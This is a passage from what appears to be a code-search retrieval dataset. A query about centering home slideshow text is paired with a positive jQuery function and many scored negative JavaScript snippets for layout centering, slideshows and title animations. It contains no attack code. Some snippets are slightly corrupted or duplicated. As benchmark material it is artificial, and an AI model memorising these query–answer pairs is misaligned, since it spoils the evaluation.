{\n\treturn seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "e1411bd9441711ee02e8ef1a54b69087", "score": "0.51057583", "text": "function isSlotSegCollision(seg1, seg2) {\n\treturn seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "e1411bd9441711ee02e8ef1a54b69087", "score": "0.51057583", "text": "function isSlotSegCollision(seg1, seg2) {\n\treturn seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "e1411bd9441711ee02e8ef1a54b69087", "score": "0.51057583", "text": "function isSlotSegCollision(seg1, seg2) {\n\treturn seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" } ]
9087962b2b570017c8e54bf6971e6847
Center Home Slideshow Text
[ { "docid": "5ddc23ed6a9bd78aad8a0b2398ad0961", "score": "0.68802714", "text": "function centerHomeBannerText() {\n\t\tvar bannerText = jQuery('.home #homeBanner #bannerText');\n\t\tvar bannerTextTop = (jQuery('.home #header').actual('height')/2) - (jQuery('.home #homeBanner #bannerText').actual('height')/2);\t\t\n\t\tbannerText.css('margin-top', bannerTextTop+'px');\t\t\n\t\tbannerText.show();\t\t\n}", "title": "" } ]
[ { "docid": "52c3218a038ff2c1f67ebfad1f21d0bf", "score": "0.630095", "text": "function centerTextInNavs(){\r\n\t\twelcomeNavCentering = ((($(\"#header-text\").height() - 50) - ($(\"#welcome\").height() + $(\"#welcome-text\").height() - 10)) / 2);\r\n\t\taboutNavCentering = ((($(\"#about-section\").height() - 50) - ($(\"#about\").height() + $(\"#about-text\").height() - 10)) / 2);\r\n\t\tcontactNavCentering = ((($(\"#contact-section\").height() - 50) - ($(\"#contact\").height() + $(\"#contact-text\").height() - 10)) / 2);\r\n\r\n\t\t$(\"#welcome\").css({\r\n\t\t\t\t\"padding-top\": welcomeNavCentering + \"px\",\r\n\t\t\t\t\"font-size\": \"200%\"\r\n\t\t});\r\n\t\t\t$(\"#about\").css({\r\n\t\t\t\t\"padding-top\": aboutNavCentering + \"px\",\r\n\t\t\t\t\"font-size\": \"200%\"\r\n\t\t});\r\n\t\t\t$(\"#contact\").css({\r\n\t\t\t\t\"padding-top\": contactNavCentering + \"px\",\r\n\t\t\t\t\"font-size\": \"200%\"\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "22f3b4713a87679af56d85e6a4441628", "score": "0.6184854", "text": "function centerTitle() {\n\tvar windowHeight = calculateWindowHeight();\n\t// If we can't find the window height, we just don't bother repositioning the title - it won't really\n\t// matter too much\n\tif (windowHeight != 0) {\n\t\tvar titleElement = document.getElementById(\"front-page-title\");\n\t\t// We only try and centre the title if we can find it - some pages might not have one to be centred\n\t\tif (titleElement) {\n\t\t\tvar verticalMarginSize = Math.floor((windowHeight - titleElement.clientHeight) / 2) + \"px\";\n\t\t\ttitleElement.style.marginTop = verticalMarginSize;\n\t\t\ttitleElement.style.marginBottom = verticalMarginSize;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3b504476ad6c29beb9d6d20aca76d099", "score": "0.6124182", "text": "function initHometextblock() {\n\t\t\twinHeight = $(window).height();\n\t\t\twinWidth = $(window).width();\n\t\t\tboxHeight = $(\"#center-presentation\").height();\n\t\t\tboxWidth = $(\"#center-presentation\").width();\n\t\t\tmarginTop = (winHeight/2) - (boxHeight/2);\n\t\t\tmarginLeft = (winWidth/2) - (boxWidth/2);\n\t\t\t$(\"#center-presentation\").css({\n\t\t\t\t\"top\": marginTop,\n\t\t\t\t\"left\": marginLeft\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "9fee74f5b1639569df1f44bcb8cbe2c4", "score": "0.6066424", "text": "function center() {\n resetTemplateInfo();\n vm.positioning = \"centered\";\n vm.showed = true;\n }", "title": "" }, { "docid": "36a9d189f7f89b9063d52a4fce598417", "score": "0.59192026", "text": "function centerImage(img_index){\n\tvar img = $('.post_text img')[img_index]\n\t$(img).css({'margin-left': (550 - $(img).width())/2})\n}", "title": "" }, { "docid": "490b7171d92d488bdd864c36742266dc", "score": "0.58738154", "text": "function onCenterButtonClick()\n\t{\n\t\tscale_about_center = true;\n\t}", "title": "" }, { "docid": "902305256f4a857b4be80b9a4f3ec2cf", "score": "0.5841891", "text": "initCenter () {\n if (this.hasAttribute('center')) {\n this.centered = true;\n this.modalTitle.style.setProperty('--title-alignment', 'center');\n }\n }", "title": "" }, { "docid": "f2f98e390c469b7b38045b955af4b3cf", "score": "0.58409315", "text": "centerText(text, x = text.x, y = text.y){\n text.x = x + text.width / 2;\n text.y = y + text.height / 2;\n }", "title": "" }, { "docid": "edaf6b34c85aaf8a29bb9dcc9ee3b5d8", "score": "0.58252746", "text": "function showOnMiddle() {\n\n //always have to keep the last clicekd slide >> show it to user.\n lastClicked_LeftSlide = leftSlide;\n lastClicked_MiddleSlide = middleSlide;\n flag_focusingElem = \"slide\";\n\n // make invisible all the slides\n hideAllSlides();\n middleSlide.style.visibility = \"visible\";\n\n }", "title": "" }, { "docid": "0bb50385f917a2cb8e078a6dce7953ab", "score": "0.5805582", "text": "function makeItCenter(el)\n\t{\n\t\tif($(\"#Stage\").width() < 1200){\n\t\t\tel.css(\"marginLeft\",\"0px\");\n \tel.css(\"left\",\"76px\");\n\t\t}else{\n\t\t\tel.css(\"marginLeft\",(el.width()/2)*-1);\n \tel.css(\"left\",\"50%\");\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "fdbb0e08081fe40301bf4c9f366c2642", "score": "0.5770143", "text": "function makeItCenter(el)\n {\n if($(\"#Stage\").width() < 1200){\n el.css(\"marginLehiddenpx\");\n el.css(\"left\",\"76px\");\n }else{\n el.css(\"marginLeft\",(el.width()/2)*-1);\n el.css(\"left\",\"50%\");\n }\n\n }", "title": "" }, { "docid": "fdbb0e08081fe40301bf4c9f366c2642", "score": "0.5770143", "text": "function makeItCenter(el)\n {\n if($(\"#Stage\").width() < 1200){\n el.css(\"marginLehiddenpx\");\n el.css(\"left\",\"76px\");\n }else{\n el.css(\"marginLeft\",(el.width()/2)*-1);\n el.css(\"left\",\"50%\");\n }\n\n }", "title": "" }, { "docid": "29a372394e2126e181b057abb4b032f3", "score": "0.56596154", "text": "function alignCenter(e) {\r\nvar node = (typeof e=='string') ? document.getElementById(e) : ((typeof e=='object') ? e : false);\r\nif(!window || !node || !node.style) {return;}\r\nvar style = node.style, beforeDisplay = style.display, beforeOpacity = style.opacity;\r\nif(style.display=='none') style.opacity='0';\r\nif(style.display!='') style.display = '';\r\nstyle.top = Math.floor((window.innerHeight/2)-(node.offsetHeight/2)) + 'px';\r\nstyle.left = Math.floor((window.innerWidth/2)-(node.offsetWidth/2)) + 'px';\r\nstyle.display = beforeDisplay;\r\nstyle.opacity = beforeOpacity;\r\n}", "title": "" }, { "docid": "29a372394e2126e181b057abb4b032f3", "score": "0.56596154", "text": "function alignCenter(e) {\r\nvar node = (typeof e=='string') ? document.getElementById(e) : ((typeof e=='object') ? e : false);\r\nif(!window || !node || !node.style) {return;}\r\nvar style = node.style, beforeDisplay = style.display, beforeOpacity = style.opacity;\r\nif(style.display=='none') style.opacity='0';\r\nif(style.display!='') style.display = '';\r\nstyle.top = Math.floor((window.innerHeight/2)-(node.offsetHeight/2)) + 'px';\r\nstyle.left = Math.floor((window.innerWidth/2)-(node.offsetWidth/2)) + 'px';\r\nstyle.display = beforeDisplay;\r\nstyle.opacity = beforeOpacity;\r\n}", "title": "" }, { "docid": "8224061e44d147cb34c140fbb35cda4e", "score": "0.56464136", "text": "function setTitle(text) {\n\tvar width = text.length*(2/3);\n\tif (webShowing) {\n\t\tdocument.getElementById(\"running\").style.marginLeft = \"-\" + (parseFloat(width) + 5) + \"em\";\n\t\tdocument.getElementById(\"nosign\").style.marginLeft = \"-\" + (parseFloat(width) + 5.5) + \"em\";\n\t} else {\n\t\tdocument.getElementById(\"running\").style.marginLeft = \"-\" + ((width/2) + 2) + \"em\";\t\t\n\t\tdocument.getElementById(\"nosign\").style.marginLeft = \"-\" + ((width/2) + 2.5) + \"em\";\t\t\n\t}\n\ttitleHolder.innerHTML = text.replace(/-/g, \" \");\n\ttitleHolder.style.width = width + \"em\";\n}", "title": "" }, { "docid": "b691035ae1a39cf57a77bac566beaa71", "score": "0.5607213", "text": "function centerMessage() {\n if ($this) {\n $this.css('top', (($(window).height() - $this.outerHeight()) / 2) + $(window).scrollTop() + 'px');\n $this.css('left', (($(window).width() - $this.outerWidth()) / 2) + $(window).scrollLeft() + 'px');\n }\n }", "title": "" }, { "docid": "b44172ddca346ebb1f6c179e4aa3d3a2", "score": "0.5592404", "text": "function hcenter(target, tomove){\r\n\t\tvar opts = $.data(target, 'window').options;\r\n\t\tvar pp = $(target).window('panel');\r\n\t\tvar width = pp._outerWidth();\r\n\t\tif (opts.inline){\r\n\t\t\tvar parent = pp.parent();\r\n\t\t\topts.left = Math.ceil((parent.width() - width) / 2 + parent.scrollLeft());\r\n\t\t} else {\r\n\t\t\topts.left = Math.ceil(($(window)._outerWidth() - width) / 2 + $(document).scrollLeft());\r\n\t\t}\r\n\t\tif (tomove){moveWindow(target);}\r\n\t}", "title": "" }, { "docid": "59240a142840275204b107d0987a54f6", "score": "0.5573037", "text": "function centerContainerQuote3() {\n \n containerQuote3.center();\n}", "title": "" }, { "docid": "0b344c7dcb12c5ee372fab4f59471c68", "score": "0.5542406", "text": "function showSlides(n) {\n var x;\n var slides = document.getElementsByClassName(\"Slides\");\n if (n > slides.length) {slideIndex = 1}\n if ( n < 1) {slideIndex = slides.length}\n for (x = 0; x < slides.length; x++) {\n slides[x].style.display = \"none\";\n }\n \n\n slides[slideIndex-1].style.display = \"block\";\n dots[slideIndex-1].className += \" active\";\n captionText.innerHTML = dots[slideIndex-1].alt;\n}", "title": "" }, { "docid": "f3a7b8f94d27a26b69fee45eb2c18f1c", "score": "0.5527667", "text": "function setHomeBg() {\n let sp = 25; // Spacing\n background(0);\n fill(255);\n textAlign(CENTER);\n // Title text\n push();\n textSize(36);\n // By using translate is easier to move all the text at once\n translate(width / 2, height / 8);\n text(\"Wordplay\", 0, 0);\n textSize(18);\n text(subtitle, 0, 0 + sp);\n pop();\n // Commands text\n push();\n sp = 20;\n translate(width / 2, height - height / 6);\n textSize(16);\n textAlign(LEFT);\n textStyle(BOLD);\n text(\"Commands\", 0, 0);\n textStyle(NORMAL);\n text(\"Right Arrow:\\tNext Movie\", 0, sp);\n text(\"Left Arrow:\\t Previous Movie\", 0, sp * 2);\n text(\"Backspace:\\t Back to home (image mode)\", 0, sp * 3);\n text(\"S:\\t\\t\\t\\t\\t\\tSave Artwork as a .png\", 0, sp * 4);\n pop();\n}", "title": "" }, { "docid": "8db7e6f7c9baacf2d0b89544a244d35d", "score": "0.54936594", "text": "function testimonialSlider(){\n\t$(\".testimonial\").slick({\n dots: true,\n infinite: true,\n centerMode: true,\n slidesToShow: 1,\n slidesToScroll: 1,\n\t\tcenterPadding: '0'\n });\n\t}", "title": "" }, { "docid": "8e8697743e910f480f2ae5087f7146ab", "score": "0.54758155", "text": "handleCenter(){\n this.sliceString();\n this.post.value = this.beg + \"<center>\" + this.selection + \"</center>\" + this.end;\n }", "title": "" }, { "docid": "1dab1d47b3118d7b93d92b673b50fe97", "score": "0.5421399", "text": "function centerContent() {\r\n $('.container').css({\r\n position:'absolute',\r\n left: ($(window).width() - $('.container').outerWidth())/2,\r\n top: ($(window).height() - $('.container').outerHeight())/2\r\n });\r\n }", "title": "" }, { "docid": "80ff26025f16556c3a9df85112ef3c64", "score": "0.5399085", "text": "function hpCenter() {\n var hpRow = $('#hobbies .row');\n $(hpRow).each(function() {\n var height = $(this).height();\n var textHeight = $(this).find('.text-col').height();\n height = (height - textHeight) / 2;\n $(this).find('.text-col').css('margin-top',(height - 29) + 'px');\n // Subtracted 29px extra to make up for the heading text\n });\n }", "title": "" }, { "docid": "27d8736db0c059aa3e423605b309a19f", "score": "0.5380619", "text": "function centerContent(){\n\tvar windowHeight = $(window).height();\n\tvar windowWidth = $(window).width();\n\t$('.module').each(function(){\n\t\tvar contentWidth = $(this).width();\n\t\tvar contentHeight = $(this).height();\n\t\tvar topOffset = (windowHeight - contentHeight) / 2;\n\t\tvar leftOffset = (windowWidth - contentWidth) / 2;\n\t\t$(this).css('left', leftOffset + 'px');\n\t\t$(this).css('top', topOffset + 'px');\n\t})\n\treturn;\n}", "title": "" }, { "docid": "c3cae6e3c5b6fe68350abc16385df6fd", "score": "0.5373005", "text": "function displayHeadlinerText() {\n var slide = $('.headliner').find(\"[data-overlayindex='\" + index + \"']\"),\n timeout = loopSpeed - (transitionSpeed*2),\n fadeSpeed = 800,\n delay = 600,\n delayer = 600,\n ele;\n\n slide.children().each( function() {\n element = $(this);\n\n // Fade in\n (function(element) {\n setTimeout( function() {\n element.show().animate({ opacity: 1, top: \"-100px\" }, fadeSpeed, \"easeOutQuint\");\n }, delay);\n }(element));\n delay += delayer;\n\n // fade out\n (function(element) {\n setTimeout( function() {\n element.fadeOut(function() {\n element.css({opacity: 0, top: \"0px\"});\n })\n }, timeout);\n }(element));\n });\n\n index = (index >= itemsCount) ? 1 : index+1;\n }", "title": "" }, { "docid": "dbbd584225cad9745435cdff9c6babc9", "score": "0.53651106", "text": "function titleAnimation() {\n // Slide title right and fade in\n anime({\n targets: '#intro-title',\n translateX: {value:[-150,0], duration:2000, delay:1000, easing:'easeOutExpo', elasticity:300},\n opacity: {value:1, duration:3000, delay:1000, elasticity: 0, easing:'easeOutExpo'},\n });\n}", "title": "" }, { "docid": "34caa357dda36b20c53352210884ee24", "score": "0.5362069", "text": "function centerContainerQuote1() {\n \n containerQuote1.center();\n}", "title": "" }, { "docid": "875a8f501663a5c1311a9ac1f732983a", "score": "0.5360091", "text": "function alignCenter() {\n // Popup size.\n var wpopup = popup.width();\n var hpopup = popup.height();\n\n // Window size.\n var hwindow = $(window).height();\n var wwindow = $(window).width();\n if (wpopup >= wwindow) {\n\n }\n\n var Left = Math.max(40, parseInt($(window).width() / 2 - wpopup / 2));\n var Top = Math.max(40, parseInt($(window).height() / 2 - hpopup / 2));\n\n if (hwindow < hpopup) {\n popup.css({'position': 'absolute'});\n }\n else {\n popup.css({'position': 'fixed'});\n }\n popup.css({'left': Left, 'top': Top});\n }", "title": "" }, { "docid": "914e7cb9e9fd9d2ad4a09114d72cb0fc", "score": "0.5354617", "text": "function portfolioSlider() {\n $(\".portfolio-slider\").slick({\n\t\tdots: true,\n infinite: true,\n centerMode: true,\n\t\tautoplay: true,\n autoplaySpeed: 5000,\n slidesToShow: 1,\n slidesToScroll: 1,\n\t\tcenterPadding: '0'\n\t});\n\t}", "title": "" }, { "docid": "1f54293f9c758dc711d5e33c39b93aaa", "score": "0.53424126", "text": "function marcadores(){\n\t$( \".panel-score\" ).animate({width:'100%'},3000);\n\t$(\".termino\").css({\"display\":\"block\",\"text-align\":\"center\"});\n}", "title": "" }, { "docid": "5564c9afe49c38f293c6cd821b2212ff", "score": "0.5341011", "text": "function centerField() {\n $(\"#container\").css(\"width\", $(\"#container\").width()*1.1); // prevents shifting of container when text size changes.\n $(\"#container\").css(\"margin-left\", -$(\"#container\").width()/2);\n $(\"#container\").css(\"margin-top\", -$(\"#container\").height()/2);\n }", "title": "" }, { "docid": "d79ab02605134a7d4afc4c33a8436eda", "score": "0.53319395", "text": "function horGuideCenter(_horizontalValueCenter) {\n if (selectionCheck(activeDocument)) {\n iselected= app.activeDocument.selection.bounds;\n \n for (i=0; i < iselected.length; i++) {\n iselected[i] = parseInt(iselected[i]);\n }\n horizontalGuide((iselected[3]-iselected[1])/2+iselected[1]+_horizontalValueCenter);\n }\n else {\n var horizontalValue = (activeDocument.height / 2)+_horizontalValueCenter;\n horizontalGuide(horizontalValue);\n }\n}", "title": "" }, { "docid": "a637da5c8b2db4cdee7cd66a6aa12da4", "score": "0.5331361", "text": "function centerElements(){\n let x = (windowWidth-width)/2-100; //Center horizontally.\n let y = 100; //Margin from top.\n cnv.position(x, y);\n\n intf.position(x+width, y);\n nameLabel.position(x+width+25, y+10);\n nameInput.position(x+width+25, y+50);\n lengthLabel.position(x+width+25, y+75);\n lengthInput.position(x+width+25, y+115);\n lengthType.position(x+width+25, y+150);\n clearButton.position(x+width+25, y+190);\n submitButton.position(x+width+25, y + 235);\n}", "title": "" }, { "docid": "7574d541e1a72081f8d31f25af00bbcc", "score": "0.53153145", "text": "function alignCenterTagLineToTitle(){\n var mainTitleWidth = $('.title').width();\n $('.tagline').css({'min-width': mainTitleWidth+'px'});\n}", "title": "" }, { "docid": "fe1e05f4e06bb07c8fb69f98c306f769", "score": "0.53053755", "text": "function tab_LoadingScreenCenter()\n{\n\tif(flag == 0)\n\t{\t\n\t\tflag = 1;\n\t\tif( kony.os.deviceInfo().name == \"iPad\" )\n\t\t\tkony.application.showLoadingScreen(\"loadingscreen\",\"Loading...\",constants.LOADING_SCREEN_POSITION_ONLY_CENTER, true, true,{shouldShowLabelInBottom :true,separatorHeight:30});\n\t\telse\n\t\t\tkony.application.showLoadingScreen(\"loadingscreen\",\"Loading...\",constants.LOADING_SCREEN_POSITION_ONLY_CENTER, true, true,null);\n\t\t\t\n\t\tkony.timer.schedule(\"timer4\", dismissLoadingScreen, 4,false);\t\t\t\t\n\t}\n}", "title": "" }, { "docid": "a2bf0d91be424ff7cfbcf9927fd5bcdc", "score": "0.5300941", "text": "function _title_fadein_init() {\n\t\t\t\t\t\tengine.fun = _title_fade;\n\t\t\t\t\t\tengine.counters[0] = 0;\n\t\t\t\t\t}", "title": "" }, { "docid": "407a281d3141653a2f311314334fcc4a", "score": "0.5300245", "text": "function centerImages() {\n\tif ($('.white p img').length > 0) {\n\t\t$('.white p img').parent().css({\n\t\t\t'width' : '90%',\n\t\t\t'margin' : '0 auto',\n\t\t\t'text-align' : 'center',\n\t\t});\n\t}\n\tvar iframes = document.getElementsByTagName('iframe');\n\tif (iframes.length > 0) {\n\t\t$(iframes).parent().css({\n\t\t\t'width' : '75%',\n\t\t\t'margin' : '0 auto',\n\t\t\t'text-align' : 'center',\n\t\t});\n\t}\n}", "title": "" }, { "docid": "f3033b4e5260b3881fd6f68842b7780f", "score": "0.5294653", "text": "function centreMsg(msg, msgHeight) {\n let msgWidth = p.textWidth(msg);\n p.text(msg, (width - msgWidth) / 2, msgHeight * height);\n}", "title": "" }, { "docid": "7a40a3ae21a12aa4775e055379c66804", "score": "0.52918464", "text": "function showSlides1(n) {\n var i;\n var slides2 = document.getElementsByClassName(\"pSlides\");\n if (n > slides2.length) {slideIndex2 = 1}\n if (n < 1) {slideIndex1 = slides2.length}\n for (i = 0; i < slides2.length; i++) {\n slides2[i].style.display = \"none\";\n }\n\n slides2[slideIndex1-1].style.display = \"block\";\n dots2[slideIndex1-1].className += \" active\";\n captionText2.innerHTML = dots2[slideIndex1-1].alt;\n}", "title": "" }, { "docid": "8a83900dcfba67dddfd375f749cd8323", "score": "0.52906036", "text": "function showSlides() {\n slideIndex++;\n if (slideIndex> slides.length) {slideIndex = 1}\n clearSlide();\n slides[slideIndex-1].style.display = \"block\";\n dots[slideIndex-1].className += \" active\";\n setTimeout(showSlides, 2000); // Change image every 8 seconds\n}", "title": "" }, { "docid": "7335ccc1b65a8437c104c7961ccb36ab", "score": "0.5283858", "text": "function showSlides2(n) {\n var y;\n var slides3 = document.getElementsByClassName(\"fpSlides\");\n if (n > slides3.length) {slideIndex2 = 1}\n if ( n < 1) {slideIndex2 = slides3.length}\n for (y = 0; y < slides3.length; y++) {\n slides3[y].style.display = \"none\";\n }\n\n slides3[slideIndex2-1].style.display = \"block\";\n dots3[slideIndex2-1].className += \" active\";\n captionText3.innerHTML = dots3[slideIndex2-1].alt;\n}", "title": "" }, { "docid": "5c5def6067f6f08881cdaa5a07798a5b", "score": "0.5268174", "text": "function showSlide(n) {\n \n // Use getElementByClassName to get arrays of all HTML elements with the slide and dot classes, and store them in variables slides and dots\n // this will allow us to edit these elements\n var slides = document.getElementsByClassName(\"slide\");\n var dots = document.getElementsByClassName(\"dot\");\n \n // Use getElementById to allow us to update the caption text based on the small image's alt text.\n var caption = document.getElementById(\"caption\");\n \n // Make sure our target slide n is within the array bounds for the number of slides we have\n // If n is greater or equal to our number of slides, we're targeting a slide off the end of our array to the right, so we need to wrap around.\n if (n >= slides.length) {\n // Wrap around by setting our index to 0, the farthest left slide\n slideIndex = 0;\n } \n // If n is less than 0 we are targeting a slide off the array to the left, so wrap around the other way\n else if (n < 0) {\n // Wrap around by setting our index to the slide array length minus 1, the farthest right slide\n slideIndex = slides.length - 1;\n }\n // If we have no out of bounds issues, just set our index to the targeted slide\n else {\n slideIndex = n;\n }\n \n // Update the appearance of our slides based on this index\n // Loop through the array of slides and set all of them to hidden (display = \"none\")\n for (var i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\"; \n }\n // After they are all hidden, find our target slide and change it's display type to block, showing it\n slides[slideIndex].style.display = \"block\"; \n \n // Update the appearance of our dots based on the currently shown slide\n // Loop through the array of dots and remove the active class from all of them, if it is present.\n for (var i = 0; i < dots.length; i++) {\n dots[i].className = dots[i].className.replace(\" active\", \"\");\n }\n // After we ensure no dots are active, find our target slide's dot and add the active class to it, changing it's appearance to show it is the active slide\n dots[slideIndex].className += \" active\";\n \n // Update caption text based on selected small image's alt text\n caption.innerHTML = dots[slideIndex].alt;\n}", "title": "" }, { "docid": "67971e319e81ccfb34274a9aa8b2bcb0", "score": "0.5251489", "text": "function showSlides(n) {\n var i;\n var slides = document.getElementsByClassName(\"slide\");\n var dots = document.getElementsByClassName(\"thumbnail\");\n var captionText = document.getElementById(\"caption\");\n if (n > slides.length) {slideIndex = 1}\n if (n < 1) {slideIndex = slides.length}\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\";\n }\n for (i = 0; i < dots.length; i++) {\n dots[i].className = dots[i].className.replace(\" active\", \"\");\n }\n slides[slideIndex-1].style.display = \"block\";\n dots[slideIndex-1].className += \" active\";\n captionText.innerHTML = dots[slideIndex-1].alt;\n}", "title": "" }, { "docid": "dfd5a2ca568dc6d0001e1354e5b42769", "score": "0.524727", "text": "function showSlides(n) {\n switch (n) {\n case 0:\n main.style.transform = \"translateX(0)\"\n break;\n \n case 1:\n main.style.transform = \"translateX(-100vw)\"\n break;\n \n case 2:\n main.style.transform = \"translateX(-200vw)\"\n break;\n \n default:\n main.style.transform = \"translateX(0)\"\n break;\n }\n}", "title": "" }, { "docid": "3bc61fb07d93db4f2941ac9060ab5532", "score": "0.5234439", "text": "function PopUp_Center() {\n if (_popUp) {\n _popUp.css({ \"left\": ($(\"html\").outerWidth() / 2) - (_popUp.outerWidth() / 2), \"top\": ($(\"html\").outerHeight() / 2) - (_popUp.outerHeight() / 2) });\n }\n\n return false;\n }", "title": "" }, { "docid": "a57b3c90009db4a665e9c2374d92ba61", "score": "0.523422", "text": "function showSlides(n) {\n var i;\n var slides = document.getElementsByClassName(\"mySlides\");\n var dots = document.getElementsByClassName(\"dot\");\n if (n > slides.length) {slideIndex = 1}\n if (n < 1) {slideIndex = slides.length}\n for (i = 0; i < slides.length; i++) {\n slides[i].style.display = \"none\";\n }\n for (i = 0; i < dots.length; i++) {\n dots[i].className = dots[i].className.replace(\" active\", \"\");\n }\n slides[slideIndex-1].style.display = \"block\";\n dots[slideIndex-1].className += \" active\";\n\n // About me image fade in\n $(\"#Zahra-pic\").hide();\n $(\"#Zahra-pic\").fadeIn(2000);\n\n // Contact me information section slide down\n $(\".C-column\").hide();\n $(\".C-column\").slideDown(2000);\n}", "title": "" }, { "docid": "c36f03605b302066aa36d835965c7f3c", "score": "0.5233642", "text": "function centerContainerQuote2() {\n \n containerQuote2.center();\n}", "title": "" }, { "docid": "a0b637f9677d8c6dd0b65f9fcc53a648", "score": "0.52261007", "text": "function titleStart(){ //title screen \n\t\ttitle.css({'transform': transformFunction(0, 0, 0),'opacity': '1'});\n\t\tcloudsInner.css('opacity', '1');\n\t\tskyscrapers.css('transform', transformFunction(0, 0, 0));\n\t\tstreet.css('transform', transformFunction(0, 0, 0));\n\t\tsceneOneText.css({'transform': transformFunction(0, 0, 0), 'opacity': '0'});\n\t\tsceneOne.css('transform', 'scale(1)');\n\t}", "title": "" }, { "docid": "10d25c39cc0623f8f81f998b7bb79917", "score": "0.5222957", "text": "function windowCenter(selector) {\n $(selector).css({\n top: ($(window).height() - $(selector).height())/2,\n opacity: 1\n });\n}", "title": "" }, { "docid": "beeb7cffe3cec9edc8bdb457ac69c101", "score": "0.52218926", "text": "function UITLEG() {\n \n background(0);\n fill(255);\n textSize(32);\n textAlign(CENTER);\n text(\"Klik om te starten\", 640, 360); \n}", "title": "" }, { "docid": "737991bf996bf53b9b9bb5c22559915a", "score": "0.5195632", "text": "function startShow() {\n curtain.className = \"up moving\";\n for (var i = 0; i < pages.length; i++) {\n pages[i].className = \"pages start\";\n }\n s1chick.className = \"s1chick s1chick-go\";\n s1text.className = \"s1text s1text-go\";\n s2chick.className = \"s2chick s2chick-go\";\n s2text.className = \"s2text s2text-go\";\n s3chick.className = \"s3chick s3chick-go\";\n s3text.className = \"s3text s3text-go\";\n smallDot.className = \"smallDot smallDot-go\";\n medDot.className = \"medDot medDot-go\";\n largeDot.className = \"largeDot largeDot-go\";\n cloud.className = \"cloud cloud-go\";\n s4chick.className = \"s4chick s4chick-go\";\n s4text.className = \"s4text s4text-go\";\n hammer.className = \"hammer hammer-go\";\n impact.className = \"impact impact-go\";\n s5text.className = \"s5text s5text-go\";\n note1.className = \"notes notes-go\";\n note2.className = \"notes notes-go\";\n s6text.className = \"s6text s6text-go\";\n // when show is done reset everything to run again\n resetShow();\n }", "title": "" }, { "docid": "f70d27d89ea6222bc4a47508b1d0d2fa", "score": "0.51940554", "text": "function go_center(){\n\t\thideTitle();\n\t\thideTitle2()\n\t\tvar simulation = d3.forceSimulation(nodes);\n\t\tsimulation.force(\"charge\", d3.forceManyBody().strength(100))\n\t\t\t\t .force(\"center\", d3.forceCenter(width/1.5, height/2-200))\n\t\t\t\t .force(\"collision\", d3.forceCollide().radius(function(d){\n\t\t\t\t\t\t\t\t \treturn d.radius;\n\t\t\t\t\t\t\t\t }))\n\t\t\t\t .on(\"tick\",ticked);\n\t}", "title": "" }, { "docid": "240616b15937c70aad69a6620fd379fd", "score": "0.5193801", "text": "function title() {\n backgroundMusic.play();\n image(backgroundImg, width / 2, height / 2, width, height);\n fill('#FFFFFF');\n textSize(100);\n fill(75, 150, random(0, 255));\n text(text8, width / 2, 1.5 * height / 5);\n textSize(30);\n fill(255, 255, 255);\n text(text9, width / 2, 2.2 * height / 5);\n text(text10, width / 2, 2.5 * height / 5);\n fill(61, 46, 255);\n rect(width / 2, 3.5 * height / 5, 200, 50, 10);\n fill('#FFFFFF');\n text(\"Start\", width / 2, 3.5 * height / 5);\n fill(255, 61, 46);\n rect(width / 2, 4 * height / 5, 200, 50, 10);\n fill('#FFFFFF');\n text(\"Introduction\", width / 2, 4 * height / 5);\n text(text13, width / 2, 0.9 * height);\n}", "title": "" }, { "docid": "f913bbe640af674d1e8ea994edef65be", "score": "0.5186904", "text": "function showTitle() {\n g.selectAll('.main-title')\n .transition()\n .duration(600)\n .attr('opacity',1);\n\n g.selectAll('.image')\n .transition()\n .duration(600)\n .attr('x', 300)\n .attr('y', 500)\n .attr('opacity', 0)\n .attr(\"transform\", \"rotate(\"+-90+\")\");\n }", "title": "" }, { "docid": "a790573a4eee3250183ac4a3e87d9189", "score": "0.51682293", "text": "function center_content()\n\t\t{\n\t\t\tself.$box.css({\n\t\t\t\t\"height\" : \"auto\",\n\t\t\t\t\"width\" : \"auto\",\n\t\t\t\t\"margin-top\": \"0px\",\n\t\t\t});\n\t\t\tvar h = self.$box.outerHeight();\n\t\t\tvar w = self.$box.outerWidth();\n\t\t\tvar ww = self.$box.width();\n\t\t\tvar wh = $(window).height() - self.$bar.outerHeight();\n\t\t\tif(self.options.show_list)\n\t\t\t{\n\t\t\t\twh -= self.list.$el.outerHeight();\n\t\t\t}\n\t\t\tif(h > wh)\n\t\t\t{\n\t\t\t\tself.$box.css(\"height\",wh);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tself.$box.css(\"margin-top\",(wh-h)*0.5);\n\t\t\t}\n\t\t\th = self.$next.outerHeight();\n\t\t\tself.$prev.css(\"margin-top\", ((( wh + (self.$bar.outerHeight()*0.5) ) * 0.5) - (h*0.5)) );\n\t\t\tself.$next.css(\"margin-top\", ((( wh + (self.$bar.outerHeight()*0.5) ) * 0.5) - (h*0.5)) );\n\t\t}", "title": "" }, { "docid": "fb9376074f6605ab92bdac574495fb2b", "score": "0.5168099", "text": "function imgCenterer(index) {\n imgHeight = categoryImg[index].height;\n imgScreenOffset = (wHeight - imgHeight) / 2;\n var distanceToTop = categoryImg[index].getBoundingClientRect().top;\n if (distanceToTop > imgScreenOffset+10) {\n var interval = setInterval(function () {\n window.scrollBy(0, 12);\n var distanceToTop = categoryImg[index].getBoundingClientRect().top;\n if (distanceToTop < imgScreenOffset) {\n clearInterval(interval);\n }\n }, 5);\n }\n\n if (distanceToTop < imgScreenOffset-10) {\n var interval = setInterval(function () {\n window.scrollBy(0, -12);\n var distanceToTop = categoryImg[index].getBoundingClientRect().top;\n if (distanceToTop > imgScreenOffset) {\n clearInterval(interval);\n }\n }, 5);\n }\n}", "title": "" }, { "docid": "320b37ac3b2a6a69ead0045f94626d17", "score": "0.51628727", "text": "defaultSlideShow() {\n this.preloadImg()\n utils.css(this.wrapper, \"left\", -this.defaultIndex * this.width);\n }", "title": "" }, { "docid": "26d34d7a6ad6b5537f2f438dd99ebaa2", "score": "0.5152257", "text": "function setupSlides() {\n const config = Reveal.getConfig;\n\n 